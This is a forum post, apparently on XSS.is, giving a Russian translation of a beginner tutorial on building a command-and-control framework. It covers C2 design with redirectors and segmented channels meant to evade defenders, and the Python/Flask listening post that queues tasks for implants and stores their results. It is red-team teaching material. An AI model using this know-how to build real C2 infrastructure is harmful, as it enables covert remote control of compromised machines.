• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Cоздание имплантатов c2 на си-плас-плас: учебник для начинающих

yashechka

Генератор контента.Фанат Ильфака и Рикардо Нарвахи
Эксперт
Регистрация
24.11.2012
Сообщения
2 344
Реакции
3 563
Введение

Введение в содержание книги и чего ожидать.


C2 программных имплантатов является фундаментальной частью любой операции Red Team. За прошедшие годы произошло распространение сред C2, помогающих в настройке и управлении программными имплантатами в целевой среде. К ним относятся такие названия, как Empire, Cobalt Strike, Covenant, Merlin, Mythic, SILENTTRINITY, PoshC2, Liver и многие другие. Список стал настолько большим, что были предприняты усилия по отслеживанию количества выпущенных сред C2 под названием https://www.thec2matrix.com/. Для того, кто изучает тактику противника, сейчас невероятное время, чтобы изучить эти штуки и определить качества хорошего имплантата. С обилием сообщений в блогах и докладов на конференциях по теме C2 сейчас самое подходящее время, чтобы попробовать свои силы в создании собственной среды C2. Знание того, как построены основы этих C2-фреймворков, даст вам навыки, необходимые для настройки доступных инструментов для ваших собственных нужд, или вы получите преимущество пользовательского решения, неизвестного поставщикам AV/EDR. Эта книга призвана дать вам базовые знания о фреймворках и имплантатах C2.

Глядя на список программного обеспечения C2 с открытым исходным кодом, наиболее популярными языками программирования являются C#, Python, PowerShell и Go. Язык C++ начинает испытывать небольшие трудности, но на момент написания этой книги в нем не так много представлений, и труднее найти ресурсы по теме написания имплантата C2 на C++. Есть несколько преимуществ в обучении написанию имплантата C2 на C++, самое большое из которых заключается в том, что он позволяет вам легко взаимодействовать с Windows API, а исполняемые файлы, как правило, труднее реконструировать по сравнению с имплантатами, написанными на C#, Python или PowerShell. Современный C++ также имеет много интересных возможностей, которые стоит применить к предмету вроде C2. Эта книга покажет вам, как можно приступить к созданию имплантатов C2 с помощью современного C++.

Структура книги начинается с некоторой теории проектирования фреймворка C2 и фундаментальных принципов. За ним следует проект Python по установке сервера C2 и созданию основных компонентов имплантата на C++. Наконец, мы заканчиваем созданием CLI-клиента, который можно использовать для простого взаимодействия с прослушивателем и имплантом.

Содержание следующее:

Введение
Глава 1: Проектирование инфраструктуры C2
Глава 2: Установка прослушивателя
Глава 3: Основные имплантаты и задачи
Глава 4: Клиент CLI оператора
Вывод


Особые благодарности


Весь исходный код, используемый в этой книге, является открытым исходным кодом и доступен в следующем репозитории GitHub: https://github.com/shogunlab/building-c2-implants-in-cpp

Аудитория этой книги — в первую очередь люди, плохо знакомые с разработкой имплантов, и те, у кого нет большого опыта работы с C++. Я предполагаю некоторые необходимые знания, такие как знакомство с основами разработки программного обеспечения, но я постараюсь объяснить как можно больше. В более поздней части 2 я намерен охватить темы, которые не предназначены для начального уровня, но для этого учебника я хочу создать прочную основу, с которой легко/легко начать работу.

Наконец, я хотел бы поблагодарить следующих людей и группы за то, что они послужили источником вдохновения для этой книги и дали мне навыки для изучения этой темы:

На этом я надеюсь, что вам понравится книга и вы узнаете что-то новое!

--Стивен Паттерсон
 
Глава 1: Проектирование инфраструктуры C2

Обсуждение концепций и дизайна инфраструктуры C2.


1669236536656.png



Введение

В этой главе мы рассмотрим основные концепции программного обеспечения Command & Control (C2) и передовые методы проектирования. Наша цель в этом разделе — понять, как выглядит "хорошая" инфраструктура C2, и спланировать прочную основу, на которой можно построить более совершенные компоненты.

Базовая настройка C2

Давайте начнем с обсуждения дизайна базовой установки C2. Во-первых, нам нужен сервер, который будет публиковать наши задачи и получать результаты этих задач (также известный как "прослушиватель"). Затем нам нужна программа, которая будет работать на целевом компьютере и периодически связываться с нашим сервером, чтобы узнать, какие задачи нужно выполнить, выполнить эти задачи, а затем ответить с результатами (также известными как "имплантат"). Наконец, нам нужен клиент, в котором оператор может легко создавать, управлять и отправлять задачи. Задачи могут включать в себя такие вещи, как возврат информации о компьютере/сети, в которой работает имплантат, выполнение команд ОС, перечисление процессов/потоков, внедрение в другой процесс, установление постоянства или кража учетных данных для бокового перемещения.

1669236557523.png


На приведенной выше диаграмме есть ряд проблем с нашим базовым дизайном. Во-первых, для защитников не составляет труда напрямую идентифицировать ваш пост прослушивания и предпринять целенаправленные действия, чтобы нарушить работу канала C2. Во-вторых, он не сегментирован, вы делаете все свои наступательные действия через один канал и с одного сервера. Защитникам легко уничтожить весь ваш C2.

Добавление устойчивости

Чтобы сделать нашу базовую настройку более отказоустойчивой, мы можем включить еще один сервер, который проксирует связь с имплантатами и перенаправляет трафик на пост прослушивания, также известный как "перенаправитель". С включением перенаправителей вам никогда не придется раскрывать адрес вашего прослушивающего поста импланту. Таким образом, вы лишаете эту информацию любого защитника, который перехватывает/анализирует ваши сообщения C2. Еще одним преимуществом является то, что вы можете иметь несколько адресов перенаправителей в своих имплантатах, и таким образом, если один из ваших перенаправителей будет отключен или заблокирован, ваш имплантат может просто вернуться к использованию одного из других.

Чтобы решить проблему сегментации, у вас может быть несколько постов прослушивания, отвечающих за обработку различных аспектов вашей работы. Например, один из способов сегментации дизайна — это иметь сервер, который обрабатывает повседневные коммуникации C2 и предназначен для действий типа "hands on keyboar" , где вам нужна мгновенная обратная связь или задачи "короткого пути". Затем у вас может быть другой сервер, который будет использоваться для восстановления доступа в целевой сети или для выполнения "долгосрочных" задач. Идея заключается в том, что вы ожидаете, что ваш более шумный ближнемагистральный канал будет регулярно отключаться, и вы можете использовать более тихий лонг хоул канал для восстановления доступа. В идеале ваш лонг хоул канал C2 также должен иметь разные индикаторы сети/хоста. Поток этой более гибкой настройки выглядит так, как показано на диаграмме ниже:

1669236601987.png


В этой книге мы сосредоточимся на создании простой установки, состоящей только из поста прослушивания, импланта и клиента оператора. Раздел о добавлении функций, которые превращают этот проект в нечто большее, чем базовая структура, запланирован во второй части. Но в этом учебнике мы собираемся не усложнять.

Особенности имплантата C2 и прослушивателя

Теперь, когда мы понимаем общую компоновку инфраструктуры C2, пришло время углубиться в детали прослушивателя и функций имплантата для базовой настройки, с которой мы начинаем. Пост прослушивания должен позволять пользователям отправлять задачи и публиковать их для извлечения имплантатом. Он также должен позволять пользователям читать отправленные задачи. Наш первоначальный канал C2 будет через HTTP, поэтому пост прослушивания должен публиковать задачи после получения запроса GET от импланта и принимать результаты задачи из запроса POST импланта. Мы можем реализовать эти действия как REST API, чтобы обеспечить простую интеграцию с интерфейсной веб-платформой или клиентом CLI. Что касается нашего имплантата, он должен быть способен к асинхронным операциям, чтобы он мог продолжать общаться с постом прослушивания, выполняя задачи.

- Настройка параметров имплантата
- Пинг
- Выполнять системные команды
- Соберать информацию о потоке процесса


Наконец, нам нужен удобный способ взаимодействия с нашим постом прослушивания в качестве оператора. Итак, мы создадим CLI-клиент оператора, который может общаться с постом прослушивания. Наш клиент командной строки будет базовым и позволит нам начать работу с простым интерфейсом, который можно быстро создать. Мы хотим, чтобы оператор мог предоставлять новые задачи, просматривать историю отправленных задач и извлекать результаты отправленных задач.

1669236625254.png


Наша полная структура C2 будет называться Natsumi и будет включать следующие основные компоненты:


- Skytree: наш пост прослушивания HTTP.
- RainDoll: наш имплантат C2 в C++.
- Fireworks: клиент CLI нашего оператора.

Заключение

В этой главе мы получили представление о том, какие возможности должна предоставлять базовая среда C2. Мы также изложили наши планы относительно проекта C2, который мы будем создавать в этой книге, и функций, которые мы хотим, чтобы он имел. Надеюсь, вы уже возбуждены, чтобы начать строить эти вещи. В главе 2 мы начнем нашу работу с сообщения для прослушивания и увидим, насколько просто может быть разработан REST API для использования нашими имплантатами. До встречи в следующей главе!

 
Глава 2: Установка поста прослушивания

Создание базового поста прослушивания HTTP, REST API и базы данных.

1669238831369.png


Использование исходного кода

Это глава, в которой мы начнем писать весь наш код. Вы можете загрузить исходные файлы для этого учебника по ссылке в верхней части страницы с пометкой "Исходный код книги". Внутри вы найдете окончательный код проекта и дополнительные версии в различных папках "глав". Вы можете следить за написанием кода по ходу дела или просто переходить в различные моменты, используя проекты папок глав.

Если вы заметили что-то, что можно было бы улучшить, и хотите отправить запрос на включение или просто просмотреть исходный код на GitHub, репозиторий можно найти здесь: https://github.com/shogunlab/building-c2-implants-in-cpp

Введение

Наш пост прослушивания, известный как Skytree, будет создан с помощью https://flask.palletsprojects.com/en/1.1.x/, плагина REST API под названием https://flask-restful.readthedocs.io/en/latest/ ,и мы будем использовать https://www.mongodb.com/, база данных для хранения. На высоком уровне он должен быть способен обслуживать задачи для имплантата, хранить записи об отправленных задачах и получать результаты этих задач. Причина, по которой я выбрал Flask для создания REST API, заключается в том, что мне удобно программировать на Python, и с ним можно быстро начать работу. Кроме того, я думаю, что исходный код довольно легко читать и понимать, если вы только начинаете. Я решил использовать MongoDB для хранения, потому что я знаком с ней и хотел использовать что-то, что могло бы легко принимать результаты JSON от импланта. У меня нет серьезных технических причин для выбора MongoDB, поэтому не стесняйтесь изменять исходный код для использования базы данных SQL, если вы предпочитаете это.

Давайте сделаем наш первый шаг и напишем начальный код для нашего поста прослушивания HTTP. Загрузите исходный код этой книги и разархивируйте его. Мы собираемся установить несколько пакетов Python, поэтому я бы рекомендовал использовать такой инструмент, как https://virtualenv.pypa.io/en/latest/installation.html, oчтобы иметь чистую среду для установки. Перейдите в каталог с названием "глава_2-1". Перейдите в папку "Skytree" в окне терминала и запустите команду, чтобы убедиться, что у вас установлены необходимые библиотеки Python для проекта. Для базы данных вам необходимо установить pip install -r requirements.txt https://www.mongodb.com/try/download/community. Вы можете прочитать подробное руководство по его установке здесь https://docs.mongodb.com/manual/tutorial/install-mongodb-on-windows/, если у вас возникнут какие-либо проблемы. Затем откройте папку "Skytree" в предпочитаемом вами редакторе кода и найдите файл с именем. Вы увидите следующее содержимое:

Python:
import json
import resources

from flask import Flask
from flask_restful import Api
from database.db import initialize_db

# Initialize our Flask app
app = Flask(__name__)

# Configure our database on localhost
app.config['MONGODB_SETTINGS'] = {
    'host': 'mongodb://localhost/skytree'
}

# Initialize our database
initialize_db(app)

# Initialize our API
api = Api(app)

# Define the routes for each of our resources
api.add_resource(resources.Tasks, '/tasks', endpoint='tasks')

# Start the Flask app in debug mode
if __name__ == '__main__':
    app.run(debug=True)

Начальный файл базы данных и моделей

Давайте рассмотрим каждый из основных блоков кода в приведенном выше файле. Начнем с инициализации приложения Flask и базы данных:

Python:
import json
import resources

from flask import Flask
from flask_restful import Api
from database.db import initialize_db

# Initialize our Flask app
app = Flask(__name__)

# Configure our database on localhost
app.config['MONGODB_SETTINGS'] = {
    'host': 'mongodb://localhost/skytree'
}

# Initialize our database
initialize_db(app)

Перейдите в папку "база данных", и вы увидите два файла:

- db.py
- models.py


Откройте db.py, и вы увидите следующее:

Python:
from flask_mongoengine import MongoEngine

# Initialize MongoEngine and our database
db = MongoEngine()

def initialize_db(app):
    db.init_app(app)


Приведенный выше код инициализирует базу данных и использует наше приложение Flask в качестве входных данных. Откройте models.pyфайл, и вы увидите, где мы определяем наши модели:

Python:
from database.db import db

# Define Task object in database
class Task(db.DynamicDocument):
    task_id = db.StringField(required=True)

Приведенный выше код сообщает базе данных о каждом поле, которое мы сохраняем, и о том, какие данные следует ожидать. Для простоты мы используем "динамический документ", поэтому нам не нужно указывать каждое поле. В модели задачи мы требуем, чтобы был предоставлен идентификатор, чтобы гарантировать, что мы можем отслеживать каждую задачу и сопоставлять результаты. Каждый раз, когда мы добавляем новый ресурс для REST API, мы хотим поместить в этот файл соответствующую спецификацию модели.

REST API и ресурсы

Чтобы упростить тестирование REST API, который мы создаем, мы будем использовать инструмент под названием https://www.postman.com/downloads/. Вам не нужна учетная запись для использования инструмента, просто выберите опцию "пропустить" при первом запуске приложения. Я считаю, что этот инструмент полезен для экспериментов с API и легкого взаимодействия с ними. Я включил файл коллекции Postman для справки под названием "Skytree_REST_API.postman_collection.json" в корневой каталог файлов исходного кода книги. Вы можете импортировать эту коллекцию и использовать ее для выполнения запросов API, упомянутых в этой главе. В качестве альтернативы я включил фрагменты PowerShell для выполнения запросов API на случай, если вы предпочитаете не использовать Postman.

Теперь вернемся к listening_post.pyфайлу. В следующем блоке мы настраиваем REST API и указываем ресурсы, которые сопоставляются с каждой из конечных точек API:

Python:
# Initialize our API
api = Api(app)

# Define the routes for each of our resources
api.add_resource(resources.Tasks, '/tasks', endpoint='tasks')

Конечная точка "/tasks" будет отвечать за обработку создания задач и отображение существующих задач. Вскоре мы более подробно рассмотрим этот ресурс, но здесь мы просто определяем маршрут.

Наконец, в последнем блоке нашего файла listen_post.py мы запускаем приложение Flask в режиме отладки:

Python:
# Start the Flask app in debug mode
if __name__ == '__main__':
    app.run(debug=True)

Чтобы убедиться, что с нашим первоначальным кодом все работает должным образом, попробуйте запустить команду python listening_post.py из папки "Skytree", а затем в браузере перейдите по следующему адресу http://127.0.0.1:5000/tasks . Вы должны увидеть короткое сообщение с надписью "GET Success!"».

Давайте добавим поведение для нашего ресурса "задачи". Откройте файл с именем resources.py, и вы увидите следующее содержимое:

Python:
import uuid
import json

from flask import request, Response
from flask_restful import Resource
from database.db import initialize_db
from database.models import Task


class Tasks(Resource):
    # ListTasks
    def get(self):
        # Add behavior for GET here
        return "GET success!", 200

    # AddTasks
    def post(self):
        # Add behavior for POST here
        return "POST success!", 200

API

Сначала мы определим поведение для запросов GET. Давайте возьмем все объекты Task, которые у нас есть в базе данных, преобразуем их в формат JSON и поместим в переменную. Затем мы вернем это в ответе GET:

Python:
# ListTasks
def get(self):
    # Get all the task objects and return them to the user
    tasks = Task.objects().to_json()
    return Response(tasks, mimetype="application/json", status=200)

Для POST давайте сначала получим полезные данные JSON из тела запроса и выясним, сколько объектов Task содержится в запросе. Затем мы загрузим его в объект JSON, а затем для каждого объекта Task добавим UUID для отслеживания и сохраним его в базе данных. Наконец, мы сохраняем все, что следует после "task_type" и "task_id" в массиве "task_options", чтобы позже мы могли сохранить это в объекте TaskHistory. Мы возвращаем ответ, который включает объекты Task, которые были добавлены в базу данных.

Python:
# AddTasks
def post(self):
    # Parse out the JSON body we want to add to the database
    body = request.get_json()
    json_obj = json.loads(json.dumps(body))
    # Get the number of Task objects in the request
    obj_num = len(body)
    # For each Task object, add it to the database
    for i in range(len(body)):
        # Add a task UUID to each task object for tracking
        json_obj[i]['task_id'] = str(uuid.uuid4())
        # Save Task object to database
        Task(**json_obj[i]).save()
        # Load the options provided for the task into an array for tracking in history
        task_options = []
        for key in json_obj[i].keys():
            # Anything that comes after task_type and task_id is treated as an option
            if (key != "task_type" and key != "task_id"):
                task_options.append(key + ": " + json_obj[i][key])
    # Return the last Task objects that were added
    return Response(Task.objects.skip(Task.objects.count() - obj_num).to_json(),
                    mimetype="application/json",
                    status=200)

Когда вы закончите добавлять код для POST, ваш resources.pyфайл должен выглядеть так:

Python:
import uuid
import json

from flask import request, Response
from flask_restful import Resource
from database.db import initialize_db
from database.models import Task


class Tasks(Resource):
    # ListTasks
    def get(self):
        # Get all the task objects and return them to the user
        tasks = Task.objects().to_json()
        return Response(tasks, mimetype="application/json", status=200)
    
    # AddTasks
    def post(self):
        # Parse out the JSON body we want to add to the database
        body = request.get_json()
        json_obj = json.loads(json.dumps(body))
        # Get the number of Task objects in the request
        obj_num = len(body)
        # For each Task object, add it to the database
        for i in range(len(body)):
            # Add a task UUID to each task object for tracking
            json_obj[i]['task_id'] = str(uuid.uuid4())
            # Save Task object to database
            Task(**json_obj[i]).save()
            # Load the options provided for the task into an array for tracking in history
            task_options = []
            for key in json_obj[i].keys():
                # Anything that comes after task_type and task_id is treated as an option
                if (key != "task_type" and key != "task_id"):
                    task_options.append(key + ": " + json_obj[i][key])
        # Return the last Task objects that were added
        return Response(Task.objects.skip(Task.objects.count() - obj_num).to_json(),
                        mimetype="application/json",
                        status=200)

Давайте протестируем наш API AddTasks. Начните пост прослушивания со следующего:

python listening_post.py


После запуска поста прослушивания сделайте следующий запрос POST в следующем формате (начнем с простой задачи "ping"):

Python:
POST /tasks HTTP/1.1
Host: localhost:5000
Content-Type: application/json

[
    {
        "task_type":"ping"
    }
]

Вы также можете сделать указанный выше запрос POST с помощью следующих командных строк PowerShell:

Python:
$headers = New-Object "System.Collections.Generic.Dictionary[[String],[String]]"
$headers.Add("Content-Type", "application/json")

$body = "[`n    {`n        `"task_type`":`"ping`"`n    }`n]"

$response = Invoke-RestMethod 'http://localhost:5000/tasks' -Method 'POST' -Headers $headers -Body $body
$response | ConvertTo-Json

Вы должны получить ответ, который выглядит примерно так:

Python:
[
    {
        "_id": {
            "$oid": "5f37310f6adea94a3b8bdc3c"
        },
        "task_id": "26fdb35d-1d86-428c-90da-d2460a332c28",
        "task_type": "ping"
    }
]


Теперь давайте протестируем API ListTasks, посетив сайт ( http://127.0.0.1:5000/tasks ) в браузере. Вы должны получить ответ, который выглядит примерно так:

Python:
[
    {
        "_id": {
            "$oid": "5f37310f6adea94a3b8bdc3c"
        },
        "task_id": "26fdb35d-1d86-428c-90da-d2460a332c28",
        "task_type": "ping"
    }
]

Не стесняйтесь экспериментировать с API ListTasks и AddTasks. Вы можете добавить несколько задач проверки связи, и вы увидите, что каждая из них добавляется в базу данных, а затем перечисляется в ответе JSON при вызове ListTasks:

Python:
[
    {
        "_id": {
            "$oid": "5f37310f6adea94a3b8bdc3c"
        },
        "task_id": "26fdb35d-1d86-428c-90da-d2460a332c28",
        "task_type": "ping"
    },
    {
        "_id": {
            "$oid": "5f3731c46adea94a3b8bdc3d"
        },
        "task_id": "aa66f366-e699-44ae-a75b-2be72b62da2d",
        "task_type": "ping"
    },
    {
        "_id": {
            "$oid": "5f3731c76adea94a3b8bdc3e"
        },
        "task_id": "fe9b1fa8-9ff4-4b41-9df2-012084e09a60",
        "task_type": "ping"
    }
]

API результатов

Вы можете найти полное содержимое проекта в папке с названием "head_2-2". Теперь мы перейдем к добавлению наших API результатов, ListResults и AddResults. Во-первых, напишите следующий код, чтобы определить наш объект Result в базе данных:

Python:
from database.db import db

# Define Task object in database
class Task(db.DynamicDocument):
    task_id = db.StringField(required=True)

# Define Result object in database
class Result(db.DynamicDocument):
    result_id = db.StringField(required=True)

Далее мы отредактируем наш resources.pyфайл, чтобы импортировать объект базы данных Result:

from database.models import Task, Result

Теперь мы можем начать добавлять логику для API результатов со следующим шаблоном:

Python:
class Results(Resource):
    # ListResults
    def get(self):
        # Add behavior for GET here
        return "GET success!", 200

    # AddResults
    def post(self):
        # Add behavior for POST here
        return "POST success!", 200

API ListResults можно создать, добавив следующий код для возврата результатов пользователю в виде ответа JSON:


Python:
# ListResults
def get(self):
    # Get all the result objects and return them to the user
    results = Result.objects().to_json()
    return Response(results, mimetype="application.json", status=200)

Вы заметите, что приведенный выше код очень похож на API ListTasks. Мы начнем создавать API AddResults с обработки запроса POST. Сначала мы проверяем, являются ли возвращенные результаты пустыми, и если они заполнены, мы анализируем JSON в теле запроса. Мы сохраняем каждый объект Result в базу данных и получаем список объектов Task, ожидающих доставки на имплант. Мы удаляем объекты Task, которые мы обслуживаем для импланта, чтобы задачи никогда не выполнялись дважды. Затем мы отправляем объекты Task на имплантат в ответе на запрос POST:

Python:
# AddResults
def post(self):
    # Check if results from the implant are populated
    if str(request.get_json()) != '{}':
        # Parse out the result JSON that we want to add to the database
        body = request.get_json()
        print("Received implant response: {}".format(body))
        json_obj = json.loads(json.dumps(body))
        # Add a result UUID to each result object for tracking
        json_obj['result_id'] = str(uuid.uuid4())
        Result(**json_obj).save()
        # Serve latest tasks to implant
        tasks = Task.objects().to_json()
        # Clear tasks so they don't execute twice
        Task.objects().delete()
        return Response(tasks, mimetype="application/json", status=200)

Мы добавляем проверку "else " для обработки случаев, когда результаты не возвращаются, и мы просто вернем ожидающие объекты Task, а затем удалим их:

Python:
else:
    # Serve latest tasks to implant
    tasks = Task.objects().to_json()
    # Clear tasks so they don't execute twice
    Task.objects().delete()
    return Response(tasks, mimetype="application/json", status=200)

Когда вы все закончите, ваш resources.pyфайл должен выглядеть так:

Python:
import uuid
import json

from flask import request, Response
from flask_restful import Resource
from database.db import initialize_db
from database.models import Task, Result


class Tasks(Resource):
    # ListTasks
    def get(self):
        # Get all the task objects and return them to the user
        tasks = Task.objects().to_json()
        return Response(tasks, mimetype="application/json", status=200)

    # AddTasks
    def post(self):
        # Parse out the JSON body we want to add to the database
        body = request.get_json()
        json_obj = json.loads(json.dumps(body))
        # Get the number of Task objects in the request
        obj_num = len(body)
        # For each Task object, add it to the database
        for i in range(len(body)):
            # Add a task UUID to each task object for tracking
            json_obj[i]['task_id'] = str(uuid.uuid4())
            # Save Task object to database
            Task(**json_obj[i]).save()
            # Load the options provided for the task into an array for tracking in history
            task_options = []
            for key in json_obj[i].keys():
                # Anything that comes after task_type and task_id is treated as an option
                if (key != "task_type" and key != "task_id"):
                    task_options.append(key + ": " + json_obj[i][key])
        # Return the last Task objects that were added
        return Response(Task.objects.skip(Task.objects.count() - obj_num).to_json(),
                        mimetype="application/json",
                        status=200)

class Results(Resource):
    # ListResults
    def get(self):
        # Get all the result objects and return them to the user
        results = Result.objects().to_json()
        return Response(results, mimetype="application.json", status=200)

    # AddResults
    def post(self):
        # Check if results from the implant are populated
        if str(request.get_json()) != '{}':
            # Parse out the result JSON that we want to add to the database
            body = request.get_json()
            print("Received implant response: {}".format(body))
            json_obj = json.loads(json.dumps(body))
            # Add a result UUID to each result object for tracking
            json_obj['result_id'] = str(uuid.uuid4())
            Result(**json_obj).save()
            # Serve latest tasks to implant
            tasks = Task.objects().to_json()
            # Clear tasks so they don't execute twice
            Task.objects().delete()
            return Response(tasks, mimetype="application/json", status=200)
        else:
            # Serve latest tasks to implant
            tasks = Task.objects().to_json()
            # Clear tasks so they don't execute twice
            Task.objects().delete()
            return Response(tasks, mimetype="application/json", status=200)

Последнее, что нам нужно для завершения API результатов, — это открыть файл "listen_post.py" и добавить следующий код, который связывает ресурс "Результаты" с конечной точкой "/results":

Python:
# Define the routes for each of our resources
api.add_resource(resources.Tasks, '/tasks', endpoint='tasks')
api.add_resource(resources.Results, '/results')

Вы можете протестировать API AddResults, отправив запрос POST со следующим результатом имитации имплантата:

Python:
POST /results HTTP/1.1
Host: localhost:5000
Content-Type: application/json

{
    "c839c32a-9338-491b-9d57-30a4bfc4a2e8": {
        "contents": "PONG!",
        "success": "true"
    }
}

Приведенный выше запрос POST можно выполнить с помощью следующих командных строк PowerShell:

Python:
$headers = New-Object "System.Collections.Generic.Dictionary[[String],[String]]"
$headers.Add("Content-Type", "application/json")

$body = "{
`n    `"c839c32a-9338-491b-9d57-30a4bfc4a2e8`": {
`n        `"contents`": `"PONG!`",
`n        `"success`": `"true`"
`n    }
`n}"

$response = Invoke-RestMethod 'http://localhost:5000/results' -Method 'POST' -Headers $headers -Body $body
$response | ConvertTo-Json

Вы получите ответ с пустым массивом, если вы не добавили никаких новых задач, или вы вернете некоторые задачи, если добавили их перед вызовом API AddResults:

Python:
[
    {
        "_id": {
            "$oid": "5f37540c87f8d76f8e578cff"
        },
        "task_id": "3bfd8e20-00f2-479d-b42f-f8af337b8aae",
        "task_type": "ping"
    }
]


Перейдите к конечной точке http://localhost:5000/results , и вы увидите фиктивные результаты сохраненной задачи Ping:

Python:
[
  {
    "_id": {
      "$oid": "5f9ee7b276f94422b607e08e"
    },
    "result_id": "13b47ed9-35f2-4e36-ae3e-2a683eaca0fc",
    "c839c32a-9338-491b-9d57-30a4bfc4a2e8": {
      "contents": "PONG!",
      "success": "true"
    }
  }
]

API истории задач

Вы найдете код проекта, который мы создали до сих пор, в папке с названием "глава-2-3". Последний API, который мы добавим, — это ListHistory, он будет возвращать все задачи, которые были успешно выполнены для имплантата, и связанные с ними результаты (когда они получены от имплантата). Опять же, давайте начнем с определения объекта TaskHistory в нашем models.pyфайле:

Python:
from database.db import db

# Define Task object in database
class Task(db.DynamicDocument):
    task_id = db.StringField(required=True)

# Define Result object in database
class Result(db.DynamicDocument):
    result_id = db.StringField(required=True)

# Define TaskHistory object in database
class TaskHistory(db.DynamicDocument):
    task_object = db.StringField()

Добавьте "TaskHistory" в качестве импорта вверху resources.pyфайла:

Python:
from database.models import Task, Result, TaskHistory

Далее мы изменим наш API AddTasks, чтобы копировать задачи, отправленные на имплант, в нашу коллекцию TaskHistory:

Python:
# Load the options provided for the task into an array for tracking in history
task_options = []
for key in json_obj[i].keys():
    # Anything that comes after task_type and task_id is treated as an option
    if (key != "task_type" and key != "task_id"):
        task_options.append(key + ": " + json_obj[i][key])
# Add to task history
TaskHistory(
    task_id=json_obj[i]['task_id'],
    task_type=json_obj[i]['task_type'],
    task_object=json.dumps(json_obj),
    task_options=task_options,
    task_results=""
).save()

Теперь добавим в файл некоторый каркас для нашего API ListHistory resources.py:

Python:
class History(Resource):
    # ListHistory
    def get(self):
        # Add behavior for GET here
        return "GET success!", 200

Первое, что мы сделаем в этом API, — это получим все объекты TaskHistory и сохраним их в переменной, чтобы вернуться позже, и сохраним любые результаты, которые у нас есть, в коллекции, чтобы мы могли сопоставить их с задачами:

Python:
# ListHistory
def get(self):
    # Get all the task history objects so we can return them to the user
    task_history = TaskHistory.objects().to_json()
    # Update any served tasks with results from implant
    # Get all the result objects and return them to the user
    results = Result.objects().to_json()
    json_obj = json.loads(results)

Затем мы форматируем каждый результат, чтобы он был более удобным для нас, и отображаем их с task_id соответствующими task_results параметрами:

Python:
# Format each result from the implant to be more friendly for consumption/display
result_obj_collection = []
for i in range(len(json_obj)):
    for field in json_obj[i]:
        result_obj = {
            "task_id": field,
            "task_results": json_obj[i][field]
        }
        result_obj_collection.append(result_obj)

Наконец, мы ищем любые результаты с идентификатором задачи, который соответствует задачам, которые мы обслуживали ранее, и вставляем их в соответствующий объект TaskHistory, после чего возвращаем объекты TaskHistory пользователю:

Python:
# For each result in the collection, check for a corresponding task ID and if
# there's a match, update it with the results. This is hacky and there's probably
# a more elegant solution to update tasks with their results when they come in...
for result in result_obj_collection:
    if TaskHistory.objects(task_id=result["task_id"]):
        TaskHistory.objects(task_id=result["task_id"]).update_one(
            set__task_results=result["task_results"])
return Response(task_history, mimetype="application/json", status=200)

Вероятно, есть более элегантный и простой способ сделать вышеописанное, но пока он подходит для наших целей.

Полный resources.pyфайл должен выглядеть следующим образом:

Python:
import uuid
import json

from flask import request, Response
from flask_restful import Resource
from database.db import initialize_db
from database.models import Task, Result, TaskHistory


class Tasks(Resource):
    # ListTasks
    def get(self):
        # Get all the task objects and return them to the user
        tasks = Task.objects().to_json()
        return Response(tasks, mimetype="application/json", status=200)

    # AddTasks
    def post(self):
        # Parse out the JSON body we want to add to the database
        body = request.get_json()
        json_obj = json.loads(json.dumps(body))
        # Get the number of Task objects in the request
        obj_num = len(body)
        # For each Task object, add it to the database
        for i in range(obj_num):
            # Add a task UUID to each task object for tracking
            json_obj[i]['task_id'] = str(uuid.uuid4())
            # Save Task object to database
            Task(**json_obj[i]).save()
            # Load the options provided for the task into an array for tracking in history
            task_options = []
            for key in json_obj[i].keys():
                # Anything that comes after task_type and task_id is treated as an option
                if (key != "task_type" and key != "task_id"):
                    task_options.append(key + ": " + json_obj[i][key])
            # Add to task history
            TaskHistory(
                task_id=json_obj[i]['task_id'],
                task_type=json_obj[i]['task_type'],
                task_object=json.dumps(json_obj),
                task_options=task_options,
                task_results=""
            ).save()
        # Return the last Task objects that were added
        return Response(Task.objects.skip(Task.objects.count() - obj_num).to_json(),
                        mimetype="application/json",
                        status=200)


class Results(Resource):
    # ListResults
    def get(self):
        # Get all the result objects and return them to the user
        results = Result.objects().to_json()
        return Response(results, mimetype="application.json", status=200)

    # AddResults
    def post(self):
        # Check if results from the implant are populated
        if str(request.get_json()) != '{}':
            # Parse out the result JSON that we want to add to the database
            body = request.get_json()
            print("Received implant response: {}".format(body))
            json_obj = json.loads(json.dumps(body))
            # Add a result UUID to each result object for tracking
            json_obj['result_id'] = str(uuid.uuid4())
            Result(**json_obj).save()
            # Serve latest tasks to implant
            tasks = Task.objects().to_json()
            # Clear tasks so they don't execute twice
            Task.objects().delete()
            return Response(tasks, mimetype="application/json", status=200)
        else:
            # Serve latest tasks to implant
            tasks = Task.objects().to_json()
            # Clear tasks so they don't execute twice
            Task.objects().delete()
            return Response(tasks, mimetype="application/json", status=200)


class History(Resource):
    # ListHistory
    def get(self):
        # Get all the task history objects so we can return them to the user
        task_history = TaskHistory.objects().to_json()
        # Update any served tasks with results from implant
        # Get all the result objects and return them to the user
        results = Result.objects().to_json()
        json_obj = json.loads(results)
        # Format each result from the implant to be more friendly for consumption/display
        result_obj_collection = []
        for i in range(len(json_obj)):
            for field in json_obj[i]:
                result_obj = {
                    "task_id": field,
                    "task_results": json_obj[i][field]
                }
                result_obj_collection.append(result_obj)
        # For each result in the collection, check for a corresponding task ID and if
        # there's a match, update it with the results. This is hacky and there's probably
        # a more elegant solution to update tasks with their results when they come in...
        for result in result_obj_collection:
            if TaskHistory.objects(task_id=result["task_id"]):
                TaskHistory.objects(task_id=result["task_id"]).update_one(
                    set__task_results=result["task_results"])
        return Response(task_history, mimetype="application/json", status=200)

Последнее, что нужно добавить, чтобы иметь полнофункциональный API ListHistory, это добавить в listening_post.pyфайл следующее:

Python:
# Define the routes for each of our resources
api.add_resource(resources.Tasks, '/tasks', endpoint='tasks')
api.add_resource(resources.Results, '/results')
api.add_resource(resources.History, '/history')

Вот и все! Вы найдете полный проект поста прослушивания Skytree в папке " глава_2-4». Вы можете получить список истории задач, посетив конечную точку ListHistory (http://127.0.0.1:5000/history ). Оно будет пустым, если вы не делали запросов AddTask. Если вы сделаете запрос AddTask сейчас с задачей проверки связи, а затем вызовете ListHistory, вы должны получить ответ, который выглядит следующим образом:

Python:
[
    {
        "_id": {
            "$oid": "5f3760aa50954f9c61397b8e"
        },
        "task_object": "[{\"task_type\": \"ping\", \"task_id\": \"59906de7-8739-4738-a69d-864f9a37cb3b\"}]",
        "task_id": "59906de7-8739-4738-a69d-864f9a37cb3b",
        "task_type": "ping",
        "task_options": [],
        "task_results": ""
    }
]

